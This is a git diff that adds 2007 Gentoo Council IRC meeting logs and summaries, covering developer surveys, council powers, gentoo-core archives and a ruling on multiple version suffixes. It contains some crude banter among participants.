+[17:00] <vapier> we should do a survey after each release ;P
+[17:00] <wolf31o2|mobile> robbat2: sure it does... but it was after we'd already switched... heh
+[17:00] <vapier> bi annual surveys
+[17:00] <vapier> slashdot poll style
+[17:00] <robbat2> and on a second part of surveying, could we add a specific developer survey, to help identify the demographics and activity level of developers?
+[17:01] <wolf31o2|mobile> sounds good
+[17:01] <robbat2> i'm willing to take on both of these items
+[17:01] <vapier> could make that part of the recruitment process
+[17:01] <vapier> and leave it open all the time ...
+[17:01] <robbat2> vapier: no, just annually, closer to a census
+[17:01] <vapier> so you have "up-to-date" numbers all the time ...
+[17:01] <vapier> pfft
+[17:01] <vapier> Kugelfang / kloeri / Uber ?
+[17:02] * Uber votes yes
+[17:02] <Kugelfang> moment
+[17:02] <vapier> http://staff.osuosl.org/~cshields/gentoosurvey/#doc_chap8
+[17:02] <Kugelfang> annual: yes
+[17:03] <vapier> s/annual/doing surveys/ :p
+[17:03] <vapier> robbat2: i think that shows we like the idea of surveys
+[17:03] <vapier> cshields' previous one would prob be a good starting point, but we'll leave that to you
+[17:03] <vapier> do it under the pr project ?
+[17:03] <vapier> userrel ?
+[17:03] <robbat2> yeah, i'll look at them for after the 2007.0 release is completed, since I want releng's help on some of the user questions
+[17:04] <robbat2> PR probably
+[17:04] <vapier> just wanting the surveys on gentoo.org/ rather than random dev space
+[17:04] <vapier> a few quickies i think
+[17:04] <robbat2> yeah, definetly. we previously used survey.gentoo.org
+[17:05] <vapier> nattfodd: limiting ourselves
+[17:05] <vapier> http://article.gmane.org/gmane.linux.gentoo.devel/47683
+[17:05] <vapier> i think the response seemed to be "if you dont like actions, then let us know on -dev and/or vote the bums out"
+[17:06] <robbat2> i agree there, if we overstep our bounds, more than just the usual vocal minority will complain
+[17:06] <vapier> i'm big on g2boojum in general and his opinion was that the original structure was designed this way on purpose
+[17:06] <vapier> so i'm happy to defer to him
+[17:07] <-- pioto has quit (Client Quit)
+[17:07] <wolf31o2|mobile> I'd agree
+[17:07] <vapier> anyone else ?  KingTaco kloeri Kugelfang Uber ?
+[17:07] <Kugelfang> we are elected for one year. the next council can revert anything we do
+[17:07] <vapier> true
+[17:07] <Kugelfang> i don't see a problem there
+[17:07] --> |mpagano| (n=mpagano@pool-70-105-167-17.nwrknj.fios.verizon.net) has joined #gentoo-council
+[17:07] <Uber> i'm fine
+[17:07] <kingtaco|work> this still about surveys?
+[17:08] <Uber> yes
+[17:08] <vapier> heh
+[17:08] <kingtaco|work> I still vote yes
+[17:08] <vapier> KingTaco: limiting council's power
+[17:08] <kingtaco|work> eh?
+[17:08] <vapier> http://article.gmane.org/gmane.linux.gentoo.devel/47683
+[17:08] <kingtaco|work> limiting to what or how
+[17:08] <wolf31o2|mobile> I agree... about the only thing I would see would be adding a provision allowing for reopening nominations/voting if >=50% of the entire developer pool votes to do so... since that would mean we majorly screwed the pooch
+[17:08] <kingtaco|work> oh, I think that's stilly
+[17:08] <kingtaco|work> *silly
+[17:09] <vapier> k
+[17:09] <kingtaco|work> you don't like it, don't vote for those people next time
+[17:09] <vapier> wolf31o2: you mean a vote of no confidence ?
+[17:10] <wolf31o2|mobile> vapier: right... just currently there's nothing in place for such a thing to occur... I tend to agree with taco that it should just wait for the next elections... but a compromise could be to add that specific wording to allow a >=50% vote
+[17:10] <wolf31o2|mobile> and this wouldn't be on a specific issue
+[17:10] <vapier> we dont have any real way of measuring that
+[17:10] <wolf31o2|mobile> I mean on the whole council... just like a vote of no confidence
+[17:10] <wolf31o2|mobile> we know how many devs we have
+[17:10] <vapier> right
+[17:11] <robbat2> we don't have an accurate take on how many of them are active
+[17:11] <vapier> but do you e-mail them all ?  post to -core ?
+[17:11] <kingtaco|work> devs could already do a vote of no confidence
+[17:11] --> pioto (n=pioto@gentoo/developer/pioto) has joined #gentoo-council
+[17:11] <wolf31o2|mobile> vapier: *we* don't do anything...
+[17:11] <vapier> we dont have anything on dev.g.o to count it up
+[17:11] <kingtaco|work> I'd accept it if they had 50% of devs with gpg sigs
+[17:11] <robbat2> if 20% are really inactive, that means the remaining 80% needs more than 50% in favour
+[17:11] <kingtaco|work> make that 51%
+[17:12] <kingtaco|work> but I still think the entire thing is silly
+[17:12] <wolf31o2|mobile> ok... let's simplify this
+[17:12] <vapier> i think generally if there's a majority of the dev base who want us out, we'd see the reaction
+[17:12] <Kugelfang> agreed
+[17:12] <wolf31o2|mobile> do we think we need to write specific wording into the council glep to allow for a vote of no confidence, or is that implied? yes or no
+[17:12] <robbat2> no
+[17:12] <kingtaco|work> no
+[17:12] <wolf31o2|mobile> no here
+[17:13] <Kugelfang> no
+[17:13] <Uber> no
+[17:13] <vapier> you had two questions and expected a yes/no :p
+[17:13] <wolf31o2|mobile> I agree, if all of a sudden devs all over the place are ripping us a new one, it'll be obvious
+[17:13] <wolf31o2|mobile> heh
+[17:13] <wolf31o2|mobile> vapier: eat it
+[17:13] <vapier> i dont think we need to expand the GLEP
+[17:13] <wolf31o2|mobile> thanks
+[17:13] <vapier> as you say, we'd get ripped
+[17:13] <wolf31o2|mobile> sorry, that was what I meant to ask
+[17:13] <vapier> tag it and bag it then
+[17:13] <wolf31o2|mobile> k
+[17:13] <robbat2> FYI, I have to leave in ~10 minutes for a work meeting
+[17:13] <vapier>  - a time frame on moving gentoo-core to public archives
+[17:14] <wolf31o2|mobile> <-- never
+[17:14] <vapier> i think people we generally against this with some for it
+[17:14] <robbat2> i agree with never
+[17:14] <kingtaco|work> vapier, while I wouldn'
+[17:14] <vapier> but some noted that they would be less forth coming on -core if this happened
+[17:14] <robbat2> never, and be more proactive on telling people to move stuff to -dev
+[17:14] <kingtaco|work> vapier, while I wouldn't oppose doing it from this point forward, we can't leak out old stuff on -core
+[17:15] <vapier> i tend to be on the extreme where i have no problem with people reading anything/everything i say/do
+[17:15] <vapier> except for the man
+[17:15] <vapier> Kugelfang / Uber / kloeri ?
+[17:15] <kingtaco|work> that said, I'm pretty sure it leaks out anyway
+[17:15] <vapier> true, but as long as people have that warm fuzzy
+[17:16] <Uber> i have no issue with future stuff being publically avaiable
+[17:16] <Kugelfang> vapier: 1 year frame
+[17:17] <vapier> while i would post my stuff freely, i dont feel comfortable forcing others who feel they would not use the list anymore if it were moved publically
+[17:18] <kingtaco|work> I think that's a majority
+[17:18] <vapier> robbat2: any idea when we could at least get a dev-only archive of -core ?
+[17:18] <kingtaco|work> that said, most of those people don't post to -core
+[17:18] <vapier> that's still a critical missing archive
+[17:18] <kingtaco|work> so it's more of a hypothetical
+[17:19] <vapier> anyone want to pursue this further ?  otherwise we'll stick with the status quo
+[17:19] <Kugelfang> robbat2: what about a readonly maildir?
+[17:19] <robbat2> i have a -core archive that is complete as of a few months before I joined Gentoo
+[17:20] <kingtaco|work> Kugelfang, that still breaks the privateness of the list
+[17:20] <kingtaco|work> perceived or otherwise
+[17:20] <Kugelfang> huh?
+[17:20] <vapier> ive been deleting mine so i only go back to late 2005
+[17:20] <Kugelfang> i mean on dev-only right now
+[17:20] <kingtaco|work> Kugelfang, I know
+[17:20] <Uber> i purge mine on a regular basis
+[17:21] <robbat2> the problem with that is that it still doesn't help cases where the -core stuff leaks out
+[17:21] <wolf31o2|mobile> I mostly purge mine... keep important stuff
+[17:21] <vapier> that's unaddressable
+[17:21] <vapier> robbat2: i imagine there's people who have more extensive ones if infra lacks it
+[17:21] <kingtaco|work> don't use lists for things that need to be private
+[17:21] <vapier> robbat2: can we push that on you too to at least look into if not implement ?
+[17:21] <kingtaco|work> history has shown us time and time again if there are more than 2 people involved then there will be leaks
+[17:21] <robbat2> vapier: it's not the existence of archives, I put a lot of working into building up the private archive I do have of it
+[17:22] <robbat2> since I built the archive originally while studying the tree signing issue
+[17:22] <kingtaco|work> my first core message is from 7/28/03
+[17:23] <vapier> i think that's about all the topics i have ... unless we want to open the floor for qa/metastructure talks
+[17:23] <kingtaco|work> then nothing until 11/18/04
+[17:23] <robbat2> that's it
+[17:23] <robbat2> and I have to leave in 2 minutes
+[17:24] <vapier> k k
+[17:24] --- vapier sets modes [#gentoo-council -m]
+[17:25] <vapier> on the topic of nattfodd's metastructure proposal, i dont think it was a proper solution for any issues he proposed it'd solve
+[17:25] <Kugelfang> speak now or remain silent forever!
+[17:25] <robbat2> i'm leaving now
+[17:25] <robbat2> thanks guys
+[17:25] <vapier> and in the process cause more issues that Gentoo generally doesnt want to address (split trees and such)
+[17:26] --- robbat2 is now known as robbat2|na
+[17:26] <kingtaco|work> vapier, I don't think there is anything positive in that proposal
+[17:26] <Uber> i read it seems to divide up more, which is bad imo
+[17:26] <amne> btw, i'm here now, sorry for being late
+[17:27] <marienz> (floor is open now, right?)
+[17:27] <eroyf> looks like it
+[17:27] <marienz> (just checking you didn't go unmoderated and then brought up a point you forgot)
+[17:28] <vapier> we're not voting on metastructure
+[17:28] <vapier> open discussion
+[17:28] <marienz> think it's a bit of a hybrid of mainly massive tree management/infrastructure changes and organizational changes that aren't *that* far from where we are now.
+[17:28] <Jokey> imho he's proposing something debian did in the past and lead to their current situation
+[17:28] <-- Blacksito has quit ("http:\\www.tekkenbolivia.net")
+[17:28] <Kugelfang> i don't consider the fragmentation of gentoo a good plan
+[17:28] <Kugelfang> that's about all i will comment on it :-)
+[17:28] <Jokey> neither do I
+[17:28] <marienz> having somewhat autonomous projects may be worthwhile but splitting up the tree in the process seems like a bad idea to me.
+[17:29] <Jokey> the "you fetch one and get all" principle is one big plus point for gentoo
+[17:29] * beandog agrees with vapier
+[17:29] <marienz> both because it's inconvenient from an end user pov and because the infra changes required are pretty massive.
+[17:29] <marienz> (I mean we still haven't moved from cvs to svn or git or something at all yet, and this is a considerably bigger change than that...)
+[17:29] <beandog> if the workload to dev ratio is too high, then get rid of some of the workload.
+[17:32] <marienz> also re: splitting the -dev list into -dev and -dev-announce: I think some devs not reading -dev at all is a reason for that split, not against it.
+[17:33] <marienz> if there is a separate -announce list those devs may start reading that list again, which would be good imho
+[17:33] <vapier> we didnt say that was a reason against it
+[17:33] <jmbsvicetto> marienz: agreed
+[17:33] <marienz> I agree entirely to delay the decision and see if the proctors project can change the atmosphere on -dev though.
+[17:33] <wolf31o2|mobile> beandog: IMO, the workload to dev ratio isn't high... the workload to active dev ratio is, maybe... though I'd say the solution is more people that are willing to do a *ton* of work, versus more people maintaining a very tiny number of packages
+[17:34] <jmbsvicetto> I think there's also another point, people not reading -dev are actually violating gentoo policy!
+[17:34] <beandog> yah
+[17:34] <jmbsvicetto> The devmanual states that all gentoo devs *must* follow -dev
+[17:34] <beandog> follow or subscribe?
+[17:34] <jmbsvicetto> beandog: well subscribe, but I would say that also implies knowing what's going on
+[17:34] <beandog> nope, no implications! :)
+[17:34] <jmbsvicetto> hehe
+[17:35] <beandog> wolf31o2|mobile: although Id settle for more people willing to do a moderate amount of work versus none.
+[17:35] <wolf31o2|mobile> beandog: agreed
+[17:35] <beandog> My point though was that cutting out cruft might make the workload less.  amd64 for instance  has been stagnant forever, but nobody wants to jump on until its gotten back to managable level.
+[17:36] <kingtaco|work> careful there
+[17:36] <beandog> my idea would be to kick off the cruft that has no dependencies itself, and isn't maintained and/or used
+[17:36] <beandog> kingtaco|work: speaking on terms of stable bugs, primarily.
+[17:36] * beandog clarifies
+[17:37] <beandog> we'd need gentoo-stats though before we have a good idea of what's used, what's not ... so .. yah.
+[17:37] <kingtaco|work> have you talked to genone?
+[17:37] <beandog> not recently
+[17:37] <kingtaco|work> iirc he did some stats project for last years SoC
+[17:38] <vapier> he did ... it's in svn
+[17:38] <christel> he still occasionally works on it, i dont think its completed fully as of yet
+[17:38] <vapier> sad that we still havent seen deployment of anything though
+[17:39] * beandog nods
+[17:40] <welp> what?!
+[17:40] <welp> i'm violating gentoo policy because i don't read -dev?
+[17:40] <welp> uh
+[17:40] * welp shuts up
+[17:42] * jmbsvicetto covers welp with red tape
+[17:42] <solar> vapier: I mailed you a qstats.c before.
+[17:42] <wolf31o2|mobile> dev really is required reading... it really sucks that so many people don't read it
+[17:42] <wolf31o2|mobile> of course, we might change that if we manage to get the signal/noise ratio improved
+[17:42] <marienz> it's too highvolume for me to actually fully read each and every mail
+[17:43] <marienz> I don't ignore whole threads but I sort of speedread some of them.
+[17:43] * kloeri all mail on -dev and -core
+[17:43] <kloeri> I do understand that it can be hard to keep up with the volume however
+[17:43] <wolf31o2|mobile> well, at least reading the first email of a thread is usually good enough to determine if it is something you'll need to follow... so long as people quit hijacking threads for new ideas
+[17:43] <wolf31o2|mobile> heh
+[17:44] <wolf31o2|mobile> yeah... I get about 3,000 emails a day on my g.o account, at last count
+[17:44] <jmbsvicetto> ouch
+[17:44] <wolf31o2|mobile> luckily, bunches of that is spam and tons of it is the same messages, due to being on arch teams
+[17:45] <-- YosWinK has quit (Read error: 104 (Connection reset by peer))
+[17:45] <vapier> marienz: well, i'm not so sure
+[17:45] <vapier> for any e-mail client that does threading
+[17:46] <vapier> if you snipe the first few e-mails in a thread, that covers you for most stuff i think
+[17:46] <beandog> I just read it in knode now, through gmane.
+[17:46] <vapier> i'm outs
+[17:46] <marienz> that's what I usually end up doing, skipping most of the rest of the thread unless someone hijacks it :)
+[17:47] <amne> speaking of hijacking, anything left the council folks want to talk to me about?
+[17:47] <amne> or do you just want me to reword the CoC and then tell everyone you guys did it? :-P
+[17:48] <wolf31o2|mobile> amne: we can work on it... feel free to write up any changes and I'll make some suggestions, too... then we can throw it to -dev in a couple weeks (if not sooner)
+[17:48] <Uber> nn guys
+[17:48] <solar> bye Uber
+[17:48] <welp> nn Uber m'dear
+[17:48] <Kugelfang> nn Uber , i'm gone to bed now to
+[17:48] <Kugelfang> +o
+[17:49] <amne> wolf31o2|mobile: by we you mean yourself or the council?
+[17:49] <amne> bye Uber + Kugelfang
+[17:49] <wolf31o2|mobile> amne: myself... I got the short straw
+[17:49] <wolf31o2|mobile> ;]
+[17:49] <amne> wolf31o2|mobile: haha. :-P perhaps it's a good idea to add you to the proctors alias then as i usually run stuff through there anyway
+[17:50] <amne> wolf31o2|mobile: otherwise i'll end up forgetting to cc: you on the relevant mails
+[17:51] <wolf31o2|mobile> anmsure
+[17:51] <wolf31o2|mobile> amne: sure
+[17:51] <amne> wolf31o2|mobile: good, now we just need to find someone from infra to poke
+[17:51] <wolf31o2|mobile> KingTaco: ^^^
+[17:52] * amne gets the 10 foot pole
+[17:59] <-- TheCoop has quit (Client Quit)
+[18:16] <kingtaco|work> eh?
+[18:16] <kingtaco|work> just send me an email or file a bug for stuff like that
+[18:16] <kingtaco|work> I'm not doing non-emergency stuff at work anymore
+[18:18] <amne> kingtaco|work: done
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20070424-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20070424-summary.txt
new file mode 100644
index 00000000..a3660ffa
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20070424-summary.txt
@@ -0,0 +1,18 @@
+A subset of council members decided today that multiple version suffixes 
+are illegal in the tree pending further notice. This decission can be 
+appealed at the next Council meeting. If there is sufficient public 
+demand, an earlier meeting can be held.
+
+This decission has been made to prevent sufficient precedence for 
+unilateral changes to the tree structure. So far the following package 
+versions are considered illegal:
+
+  media-viode/mplayer-1.0_rc2_pre20070321-r4
+  media-video/transcode-1.0.3_rc2_p20070310-r1
+
+An illegal version specification of media-sound/alsa-driver has already 
+been removed from the tree.
+
+I would like to ask the affected package maintainers to move these 
+versions to sane version specifications as soon as possible. Thanks in 
+advance for this.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20070424.txt b/xml/htdocs/proj/en/council/meeting-logs/20070424.txt
new file mode 100644
index 00000000..78315ebb
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20070424.txt
@@ -0,0 +1,130 @@
+--- Log opened Tue Apr 24 00:00:49 2007
+01:04 -!- FuzzyRay|work [n=pvarner@gentoo/developer/FuzzyRay] has quit [Remote closed the connection]
+02:43 -!- robbat2 is now known as robbat2|na
+03:40 -!- mpagano [n=mpagano@pool-70-105-167-17.nwrknj.fios.verizon.net] has joined #gentoo-council
+03:55 -!- mpagano [n=mpagano@pool-70-105-167-17.nwrknj.fios.verizon.net] has quit [Client Quit]
+07:34 -!- KingTaco [n=kingtaco@gentoo/developer/kingtaco] has quit ["brb"]
+07:36 -!- KingTaco [n=kingtaco@gentoo/developer/kingtaco] has joined #gentoo-council
+07:36 -!- mode/#gentoo-council [+o KingTaco] by ChanServ
+13:19 -!- onox [n=onox@kalfjeslab.demon.nl] has joined #gentoo-council
+14:18 -!- fmccor|home [n=fmccor@gentoo/developer/fmccor] has quit [Read error: 110 (Connection timed out)]
+14:22 -!- fmccor|home [n=fmccor@209.249.182.18] has joined #gentoo-council
+15:52 -!- FuzzyRay|work [n=pvarner@gentoo/developer/FuzzyRay] has joined #gentoo-council
+19:51 -!- Calchan|Home [n=Calchan@gentoo/developer/calchan] has joined #gentoo-council
+20:14 -!- robbat2|na is now known as robbat2
+20:16 <@Kugelfang> rest-of-council: ping
+20:18 < Jokey> KingTaco kloeri robbat2 SpanKY wolf31o2 ping
+20:18 <@Kugelfang> :-)
+20:18 < Jokey> highlight++
+20:18 <@Kugelfang> thanks Jokey
+20:20 <@kloeri> hiya Kugelfang, Jokey 
+20:20 <@Kugelfang> kloeri: heya...
+20:21  * Jokey passes kloeri a beer
+20:21 <@Kugelfang> kloeri: i'm a bit fed up about the mplayer version problem
+20:21 <@kloeri> me too
+20:21 <@Kugelfang> kloeri: i was planning to contact lu_zero so he moves it to a proper revision
+20:22 <@kloeri> sounds good
+20:22 <@Kugelfang> kloeri: as we need at least to council members do decide on that, i'd like a proper "yes" :-)
+20:22 <@robbat2> yo
+20:23 <@Kugelfang> robbat2: you also think it should be moved?
+20:23 <@kloeri> well, is it really neccessary to have a council decision on that issue?
+20:23 <@robbat2> i'm not aware of the problem (i don't pay attension to video stuff, and I haven't read my mail for the last 18 hours)
+20:23 <@Kugelfang> robbat2: no recent problem... it's in for 4 weeks already
+20:23 <@Kugelfang> http://sources.gentoo.org/viewcvs.py/gentoo-x86/media-video/mplayer/
+20:23 <@Kugelfang> robbat2: have a look at that last version
+20:24 < spb> the short answer is that mplayer is using an invalid version spec
+20:24 <@Kugelfang> QA demanded to remove it already
+20:24 <@Kugelfang> (iirc)
+20:24 < zlin> bug #166522
+20:24 < jeeves> zlin: https://bugs.gentoo.org/166522 nor, P2, All, vapier@gentoo.org->dev-portage@gentoo.org, REOPENED, pending, portage should only accept one version suffix
+20:25 < Jokey> hrm, wasn't there some announcement that portage added support for it?
+20:25 < spb> Jokey: none that i saw
+20:25 < spb> and portage gaining support in some version doesn't mean you can use it in the tree
+20:25 <@robbat2> make him covert it to "_rc%04d%04d%02d%02d",$RC,$YEAR,$MONTH,$DAY
+20:26 <@robbat2> or some useful variation if they want the dang date
+20:27 <@kloeri> that would be much better imo
+20:28 <@kloeri> _alpha_beta and whatever else is allowed by portage now doesn't make any sense imo (and neither does _rc_alpha or a thousand other combinations)
+20:29 <@Kugelfang> so can we conclude that multiple version suffixes are illegal in the tree?
+20:29 <@Kugelfang> until council says otherwise?
+20:29 < spb> imo yes
+20:29 <@Kugelfang> robbat2, kloeri?
+20:30 <@robbat2> yeah, i'm good with that
+20:30 <@Kugelfang> me too
+20:30 <@robbat2> in my above example, i can't recall if portage cares about leading zeros on the rc number or not
+20:30 <@Kugelfang> kloeri?
+20:30 <@kloeri> yes
+20:31 <@Kugelfang> okies
+20:31 <@Kugelfang> I'll draft a mail and file bugs
+20:34 < solar> alsa-something was doing the same thing a little while ago also.
+20:36 < solar> media-video/transcode-1.0.3_rc2_p20070310-r1 <-- there is the other. alsa seems to be ok now.
+20:36 <@Kugelfang> solar: nod, thanks for the heads up
+20:50 <@Kugelfang> kloeri, robbat2: http://rafb.net/p/1vVpR133.html
+20:51 <@Kugelfang> 'council member' -> 'council members' already done
+20:52 <@Kugelfang> 'considere' -> '&d' done, too
+20:53  * Kugelfang prods kloeri 
+20:55 <@kloeri> Kugelfang: looks good
+20:55 <@Kugelfang> cool
+20:55 <@Kugelfang> sending it
+20:55 <@Kugelfang> done
+20:56 <@kloeri> k
+21:06 -!- weckle247 [n=weckle@p57B1BC7E.dip0.t-ipconnect.de] has joined #gentoo-council
+21:15 < tove> Kugelfang: "Upon making such a decision, the Gentoo Council mailing list must be notified." --> CC: gentoo-council@
+21:16 <@Kugelfang> sorry, i read alias somehow
+21:16 <@robbat2> and s/viode/video/
+21:16 <@Kugelfang> will correct that now
+21:16 <@Kugelfang> it is sent already
+21:16 <@robbat2> yeah, I was afk
+21:17 <@Kugelfang> tove: thanks for the heads up!
+21:17 <@Kugelfang> tove: i corrected my mistake
+21:25 -!- mpagano [n=mpagano@pool-70-105-167-17.nwrknj.fios.verizon.net] has joined #gentoo-council
+21:32  * fmccor notices that someone has problems counting ("as few as one council member ...") :)
+21:32  * fmccor hides
+21:34  * agaffney notices that some people see conspiracies everywhere and will bitch about anything
+21:34 < spb> someone has a problem not being a twit
+21:34 < agaffney> wtf was up with the paludis conspiracy theory?
+21:34 < agaffney> people--
+21:34 < agaffney> I'm not a paludis groupie, and *I* think that's completely fscking retarded
+21:35 <@Kugelfang> see my response
+21:35 < spb> please to reply to him and say so
+21:36 <@Kugelfang> please don't
+21:41 <@kloeri> the conspiracy theory is a bit much but replying will probably just lead to further silliness and/or flames
+21:43 < solar> robbat2: The $RC$YYYY$MM$DD solution you proposed is not exactly ideal either. atom numerics probably will need to be limited to 8 numeric chars in the future.
+21:43 -!- weckle247 [n=weckle@p57B1BC7E.dip0.t-ipconnect.de] has quit [Remote closed the connection]
+21:44 <@Kugelfang> $RC$YY$MM$DD should be sufficient
+21:44 < solar> as long as $RC does not exceed 99
+21:45 <@Kugelfang> nod
+21:45 <@Kugelfang> and -r$REV doesn't exceed 99999999 :-)
+21:46 <@kloeri> heh
+21:46 < solar> that is not set in stone yet. But should probably be an item for later discussions to set that in stone
+21:47 <@Kugelfang> solar: definitely
+21:48  * solar has one offending package right now.
+21:48 <@Kugelfang> that is?
+21:49 < solar> gradm
+21:49 <@Kugelfang> cat?
+21:50 < solar> !meta gradm
+21:50 < jeeves> solar: Package: sys-apps/gradm Herd: hardened Maintainer: solar@gentoo.org
+21:50 <@Kugelfang> nod
+21:50 < solar> on a 64bit arch these compare as equals. x-200602141801111111111111111111111111111111111111111111111111111111 == x-20060214180999999999
+21:51 < solar> well I guess it's not 64bit per say but rather sizeof int
+21:52 -!- zxy_64 [n=ziga@89.212.157.253] has joined #gentoo-council
+22:10 <@Kugelfang> nod
+22:21 < fmccor> sigh.  We have a new important thread, it seems.
+22:21 < agaffney> ugh
+22:25 < agaffney> wow, wtf is Cardoe's problem?
+22:25 < fmccor> My question exactly.
+22:26 < agaffney> did a paludis dev rape his mother?
+22:27 < fmccor> He could join this channel and ask directly, rather than providing all the entertainment on -dev :)
+22:27 < spb> he likes to cause drama
+22:28 < fmccor> Or he could work in gentoo-council@ for that matter (I think).
+22:28 < fmccor> Or he could go do something useful. :)
+22:39 <@kloeri> heh
+22:40 <@Kugelfang> did my mail arrive at gentoo-council@l.g.o?
+22:41 <@kloeri> no idea, I kill repeats based on msgid
+22:41 <@kloeri> so I only got it on -dev in this case
+22:41 <@Kugelfang> i forwarded it later on
+22:42 <@kloeri> don't think I've got that yet
+22:42 <@kloeri> but MLs can be quite slow sometimes
+22:57 -!- onox [n=onox@kalfjeslab.demon.nl] has quit ["baselayout-2 \o/"]
+22:57 -!- rbrown` [n=mynamewa@gentoo/developer/paludis.rbrown] has joined #gentoo-council
+23:42 -!- FuzzyRay|work [n=pvarner@gentoo/developer/FuzzyRay] has quit [Remote closed the connection]
+--- Log closed Wed Apr 25 00:00:51 2007
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20070510-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20070510-summary.txt
new file mode 100644
index 00000000..8a857122
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20070510-summary.txt
@@ -0,0 +1,15 @@
+- Documentation for mail servers are on gentoo.org
+  now in infrastructure project
+
+- Social contract changes are waiting on the trustees
+  to clarify the Foundation statement
+  http://bugs.gentoo.org/177966
+
+- proctors have been working on requested CoC updates
+  but has not yet finished
+
+- multiple version suffixes are valid and free to be
+  used in the tree
+
+- PMS git repo is being finalized by robbat so it can
+  be moved over
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20070510.txt b/xml/htdocs/proj/en/council/meeting-logs/20070510.txt
new file mode 100644
index 00000000..bafd6284
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20070510.txt
@@ -0,0 +1,576 @@
+[16:01] * fmccor is here representing Kugelfang
+[16:01] * wolf31o2 is mostly here
+[16:01] <KingTaco> I'm here
+[16:02] <KingTaco> kloeri, robbat2|na SpanKY vapier Uber
+[16:02] <vapier> moo moo mr cow
+[16:02] <kloeri> hiya all
+[16:02] <KingTaco> anyone have the agenda for today?
+[16:03] <wolf31o2> that would be nice
+[16:03] <vapier> none were posted
+[16:03] <Uber> I'm here sort of.
+[16:03] <vapier> so i figured we just go over things from last
+[16:03] <vapier> unless someone saw something i didnt
+[16:03] * KingTaco defers to vapier 
+[16:03] <vapier> i meant to post something, but i didnt get a chance ... been busy at work
+[16:03] <KingTaco> only new thing I know of is the multiple suffixes stuff
+[16:04] <KingTaco> from that adhoc meeting
+[16:05] <kloeri> I've been pretty busy as well
+[16:05] <Uber> brb 5 mins
+[16:06] <vapier> was a log posted from said adhoc meeting ?
+[16:06] <vapier> http://thread.gmane.org/gmane.linux.gentoo.devel/48381
+[16:07] <KingTaco> I don't recall a log
+[16:07] <KingTaco> iirc it was Kugelfang, kloeri and robbat2|na
+[16:08] <kloeri> I don't think the log was ever posted, just the notice kugelfang sent to -dev and following discussion
+[16:08] <vapier> that'd be useful to have ... i dont think the decision made sense and the logic for banning it didnt cut it for me
+[16:08] <kloeri> yup
+[16:08] <vapier> but let's start on something simpler first
+[16:08] <vapier> anyone voluntering to run this meeting ?
+[16:09] <wolf31o2> since Danny isn't here, I say we make Ferris do it
+[16:09] <wolf31o2> *grin*
+[16:09] <Uber> gets my vote :P
+[16:09] --> bazik (n=bazy@gentoo/developer/bazik) has joined #gentoo-council
+[16:09] <vapier> fmccor: you want to take it ?
+[16:09] <kloeri> heh
+[16:09] --- vapier sets modes [#gentoo-council +m]
+[16:10] --- vapier sets modes [#gentoo-council +v fmccor]
+[16:10] --- vapier sets modes [#gentoo-council +v fmccor|home]
+[16:10] <vapier> help if he could speak huh :)
+[16:10] <wolf31o2> guess not... ok... how about I do it
+[16:10] <fmccor> :)
+[16:11] <wolf31o2> now I just have to find last month's
+[16:11] <vapier> http://www.gentoo.org/proj/en/council/meeting-logs/20070412-summary.txt
+[16:11] <wolf31o2> ok... let's go over that stuff, then tove reminded me that we have grobian's keywording glep
+[16:11] <wolf31o2> http://article.gmane.org/gmane.linux.gentoo.devel/48017
+[16:12] <vapier> you get your docs merged ?
+[16:12] <kloeri> k, the log from that impromptu meeting is available at http://dev.gentoo.org/~kloeri/multiple_suffix.log now
+[16:12] <wolf31o2> so... let's start with the old stuff...
+[16:12] <wolf31o2> vapier: thought robin was taking care of the actual commits
+[16:13] <wolf31o2> crap
+[16:13] <wolf31o2> it was me
+[16:13] <wolf31o2> I apologize
+[16:13] <wolf31o2> I guess that makes it a no.  I didn't.
+[16:14] <wolf31o2> did we ever decide where exactly they were to go?
+[16:14] <kloeri> my spf doc is all xml'ed up and available on infrastructure.g.o
+[16:14] <kloeri> have been for a while now
+[16:14] <vapier> under the infra project
+[16:14] <vapier> since they manage the mail
+[16:15] <wolf31o2> yes, but were we just putting them up as-is or were we adding it into another doc?
+[16:16] <vapier> for now, as is
+[16:16] <wolf31o2> k
+[16:16] <vapier> let em be folded back as infra deems they care enough to do so
+[16:17] <wolf31o2> done, then... heh
+[16:17] <KingTaco> what doc is this?
+[16:18] <vapier> mail server docs
+[16:18] <vapier> spf and reply to
+[16:18] <wolf31o2> ok... everything is committed
+[16:18] <KingTaco> I thought robbat2 put those up somewhere
+[16:18] <KingTaco> we're all good right?
+[16:18] <wolf31o2> are now
+[16:18] <KingTaco> ok
+[16:18] <-- ian (i=need_hel@gentoo/developer/pdpc.active.ian) has left #gentoo-council
+[16:19] <wolf31o2> I think we should file a bug for the trustees
+[16:19] <KingTaco> a bug for what purpose?
+[16:19] <wolf31o2> for the social contract thing
+[16:19] --> rbu (n=rbu@gentoo/developer/rbu) has joined #gentoo-council
+[16:19] <g2boojum> I saw the comment in the last summary, but I wasn't sure exactly what was needed.
+[16:20] <wolf31o2> basically, the two should be in sync and things should be clarified... I can't comment further since I didn't see what needed to be changed, personally
+[16:21] <vapier> sync Social Contract with Gentoo Foundation (external entities)
+[16:21] <vapier> the Gentoo Foundation statement has a section about external entities influence
+[16:21] <vapier> the Social Contract does not
+[16:21] <g2boojum> vapier: Oh, that helps enormously.  Thanks.
+[16:22] <vapier> i proposed that we sync the wording from Foundation to Social Contract, but wolf31o2 wanted to clarify the Foundation statement first
+[16:22] <vapier> i'm guessing he hasnt had a chance to drop an e-mail to the trustee list, so he'll file a bug instead for tracking
+[16:23] <wolf31o2> yeah... it's another of those cases where what was written is so generic it has no real meaning
+[16:23] <g2boojum> wolf31o2: Yeah.  Especially since the Foundation _is_ reigned by a company, the Gentoo Foundation, Inc.  In any event, we'll take care of it.  Thanks.
+[16:24] <wolf31o2> right
+[16:25] <wolf31o2> bug #177966
+[16:26] <wolf31o2> ok... about the CoC... I poked amne earlier, but didn't get a response... I think he's away at the moment
+[16:27] <wolf31o2> I'm not aware of any actual changes to the document, but do know that the proctors were working on it
+[16:27] <vapier> yeah they posted a few status tidbits previously
